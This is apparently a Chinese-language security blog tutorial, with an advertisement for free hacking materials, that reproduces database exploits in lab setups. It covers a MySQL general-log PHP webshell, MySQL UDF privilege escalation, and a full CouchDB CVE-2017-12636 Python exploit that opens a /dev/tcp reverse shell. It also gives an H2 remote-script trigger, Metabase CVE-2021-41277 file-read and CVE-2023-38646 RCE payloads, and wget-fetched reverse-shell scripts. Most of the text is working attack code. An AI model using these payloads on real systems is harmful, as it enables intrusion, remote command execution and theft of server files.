MySQL
0x01mysql學習
MySQL 是瑞典的MySQLAB公司開發的一個可用於各種流行操作系統平臺的關係數據庫系統,它具有客戶機/服務器體系結構的分佈式數據庫管理系統。可以免費使用使用,用的人數很多。
0x02環境搭建
這裏演示用,phpstudy搭建的環境,然後安裝phpmyadmin
0x03漏洞復現
日誌文件包含getshell
利用前提
知道網站路徑,mysql版本大於5.0
利用條件 需要可讀可寫的權限,也就是高權限賬號
所用到的命令
show variables like '%general%'; 查看日誌讀寫功能
SET GLOBAL general_log='on';開啓日誌讀寫功能
select @@basedir; 查看mysql所在的絕對路徑
SHOW VARIABLES LIKE"secure_file_priv";如果值爲文件夾目錄,則只允許修改目錄下的文件,如果值爲NULL則爲禁止。
SET GLOBALgeneral_log_file='C:/phpstudy_pro/WWW/shell.php';修改日誌文件路徑
修改設置,該爲開啓,這樣才能繼續利用。
再次查詢,可以發現已經發生了改變
訪問驗證
select '<?php eval($_POST["a"]);?>';
總結,如果SHOW VARIABLES LIKE"secure_file_priv";爲NULL則沒辦法使用into outfile寫文件,那麼可以開啓日誌,修改日誌文件路徑和文件名爲php,然後執行一個帶有一句話的查詢語句,完成getshell。
【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
mysql udf提權
這裏使用win10 +phpstudy,直接下個msyql就行了
udf提權是mysql的一種常見的提權方式。
什麼是udf?
udf可以理解爲用戶自定義函數,可以用udf增加一些函數,在mysql裏就能用這個函數了。
提權前提
獲取mysql的控制權限。
mysql具有寫入權限,即secure_file_priv的值爲空。
show global variables like'%secure%';用這個查詢
提權背景
拿到了mysql權限,沒拿到服務器權限,可以通過mysql提權使其達到拿到服務器的權限
提權實驗
實驗版本mysql 5.5 操作系統win10
需要udf文件,可以從sqlmap裏獲取或者msf中獲取。
這裏可以直接用國光師傅的寫好udf16進制
https://www.sqlsec.com/tools/udf.html
show global variables like'%secure%';
如果不是空的話可以這樣修改,這個需要在mysql目錄下的ini文件進行修改或者添加。
secure_file_priv=''然後重啓服務。
如果是 MySQL >= 5.1 的版本,必須把 UDF 的動態鏈接庫文件放置於 MySQL安裝目錄下的 libplugin 文件夾下文件夾下才能創建自定義函數。
這裏我自己在目錄下創建一個,也可以用NTFSADS方法創建目錄,但有可能不成功。
查詢發現已經有了,然後進行文件寫入。
路徑D:phpstudy_proExtensionsMySQL5.5.29libplugin
如果有Can't open shared library 'udf.dll',切換成32位試試。
實戰中不成功,可以輪流嘗試。
創建自定義函數並且調用命令
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select sys_eval('whoami');
select sys_eval('dir');
發現已經成功並且是Administrator權限
couchdb數據庫
漏洞介紹
ApacheCouchDB是一個開源數據庫,專注於易用性和成爲"完全擁抱web的數據庫"。它是一個使用JSON作爲存儲格式,JavaScript作爲查詢語言,MapReduce和HTTP作爲API的NoSQL數據庫。應用廣泛,如BBC用在其動態內容展示平臺,CreditSuisse用在其內部的商品部門的市場框架,Meebo,用在其社交平臺(web和應用程序)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露利用
漏洞復現
CVE-2017-12635
PUT發包創建用戶
選擇內網映射端口爲5984的抓包訪問
http://192.168.48.133:54944/_utils/#login
這個爲登陸應用
發包目的是增加用戶,可以用bp或者postman
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host:
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;
x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 110
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
成功添加用戶
CVE-2017-12636
CVE-2017-12636 exp 命令執行
import requests
import json
import base64
from requests.auth import HTTPBasicAuth
target = 'http://your-ip:5984'
command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""
version = 1
session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
# session.proxies = {
# 'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
"type": "user",
"name": "wooyun",
"roles": ["_admin"],
"roles": [],
"password": "wooyun"
}''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" %
base64.b64encode(command).decode()
if version == 1:
session.put(target + ('/_config/query_servers/cmd'),
data=json.dumps(command))
else:
host = session.get(target +
'/_membership').json()['all_nodes'][0]
session.put(target +
'/_node/{}/_config/query_servers/cmd'.format(host),
data=json.dumps(command))
session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id":
"wooyuntest"}')
if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10',
data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test',
data='{"_id":"_design/test","views":{"wooyun":{"map":""}
},"language":"cmd"}')
h2database數據庫
H2 是一個開源的嵌入式數據庫引擎,純 java實現的關係型數據庫,不受平臺的限制。
未授權訪問
發現其可以未授權訪問jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;
在JDBC URL輸入這個語句點擊connect即可未授權訪問
RCE姿勢
在VPS裏面創建個sql文件,然後遠程加載利用服務。
re_shell.sql
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c
{echo,base64加密的反彈shell指令}|{base64,-d}|{bash,-i}");';
bash -i >& /dev/tcp/ip/7888 0>&1
遠程加載姿勢如下,填入python啓動的ip和端口
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://IP:port/re_shell.sql';
mongodb數據庫
大致介紹一下
MongoDB是一個基於分佈式文件存儲的數據庫
由C++語言編寫,旨在爲WEB應用提供可擴展的高性能數據存儲解決方案。
未授權訪問漏洞
可以用msf檢測
search mongodb
存在未授權訪問漏洞
可以利用mongodb連接工具直接連接
metabase數據庫分析
metabase是一款開源的簡易但強大同時又無縫兼容大數據和傳統數據庫的分析工具
Metabase geojson任意文件讀取漏洞 (CVE-2021-41277)
payload /api/geojson?url=file:/etc/passwd
Metabase 遠程代碼執行漏洞(CVE-2023-38646)
Metabase是一個開源的數據分析和可視化工具,它可以幫助用戶輕鬆地連接到各種數據源,包括數據庫、雲服務和API,然後使用直觀的界面進行數據查詢、分析和可視化。Metabase 存在遠程代碼執行漏洞,可導致攻擊者在服務器上以運行 Metabase服務器的權限執行任意代碼。
這裏使用vulhub的docker環境,vulfocus可能有問題沒復現成功
GET訪問
/api/session/properties
exp
POST /api/setup/validate HTTP/1.1
Host: your-ip
Content-Type: application/json
{
"token": "token值",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db":
"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1;CREATE
TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$//javascriptnjava.lang.Runtime.getRuntime().exec('執行的命令')n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "test",
"engine": "h2"
}
}
驗證一下
python啓動一個http服務,然後exec執行curl ip:8899/1.txt
python3 -m http.server 8899
驗證成功
嘗試反彈shell
未能成功反彈shell,利用其他方法進行反彈shell,可以執行命令從VPS下載sh腳本然後在用命令運行該腳本進行反彈shell
創建個re_shell.sh,內容如下
!/bin/sh
bash -c 'exec bash -i >& /dev/tcp/ip/6667 0>&1'
執行 wget http://ip:port/re_shell.sh
執行
/bin/bash /tmp/re_shell.sh
成功反彈shell
更多網安技能的在線實操練習,請點擊這裏>>